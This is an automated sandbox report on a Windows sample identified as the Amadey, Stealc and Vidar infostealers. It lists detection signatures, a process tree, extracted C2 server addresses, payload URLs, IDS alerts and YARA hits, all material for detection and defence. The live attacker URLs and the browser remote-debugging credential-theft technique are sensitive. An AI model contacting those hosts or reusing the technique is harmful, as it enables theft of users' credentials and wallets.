Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564225
MD5:	8a35d216bea1e5026d155b7d7287279b
SHA1:	8aafef6136b82a80af5f12f7eede430903aaf164
SHA256:	7b18dc76835a241692cc37953518aa972560de1ecf1fca56580739772cd4b24f
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7376 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8A35D216BEA1E5026D155B7D7287279B)

chrome.exe (PID: 8124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2168,i,6526957654909996711,10840638383487339068,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8636 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8840 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1788,i,42195172221371813,3229964833316750389,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7112 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDAFBGHCAKK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsDAFBGHCAKK.exe (PID: 8352 cmdline: "C:\Users\user\DocumentsDAFBGHCAKK.exe" MD5: 045A3A09458A21A8B3B2D3011D1E02D4)

skotes.exe (PID: 8704 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 045A3A09458A21A8B3B2D3011D1E02D4)

msedge.exe (PID: 8860 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 9192 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2884 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8212 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6688 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8132 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 5580 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 4980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3840 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6960 --field-trial-handle=2540,i,605694460769128355,10032923496715411102,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8216 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 045A3A09458A21A8B3B2D3011D1E02D4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000002.2748959245.0000000000F71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2162453737.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2720762041.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2661931956.0000000005670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000003.3263969686.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3380923126.0000000000731000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2674146425.0000000000391000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2763804157.0000000000731000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7376	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7376	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7376	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.730000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.DocumentsDAFBGHCAKK.exe.f70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.730000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7376, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 8124, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:16.794751+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:16.500674+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:17.124336+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:18.616120+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:17.258391+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49714	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:16.046160+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49714	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:21:05.179861+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49941	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:02.658454+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49942	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:21:09.806205+0100	2803305	3	Unknown Traffic	192.168.2.6	49943	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T00:19:19.384109+0100	2803304	3	Unknown Traffic	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-28T00:19:41.372361+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:43.494783+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:44.989952+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:46.156153+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:50.024333+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:51.128137+0100	2803304	3	Unknown Traffic	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-28T00:19:56.783284+0100	2803304	3	Unknown Traffic	192.168.2.6	49921	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/softokn3.dlli5	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpGHCAKK.exeata;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllt	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/unique1/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllT	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/Ca	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllz	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001B.00000002.2748959245.0000000000F71000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2675670278.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CADA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD44C0 PK11_PubEncrypt,	0_2_6CAD44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CAA4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4440 PK11_PrivDecrypt,	0_2_6CAD4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB225B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CB225B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CABE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CAB8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CADA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CAFA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CB00180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CAD43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CAF7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CAFBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CAB7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CAF9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3FF0 PK11_PrivDecryptPKCS1,	0_2_6CAD3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CAD9840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CAD3850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CAFDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CAD3560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.190.177.19:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.43:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.56:443 -> 192.168.2.6:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49939 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2709487314.000000006FD4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2709487314.000000006FD4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
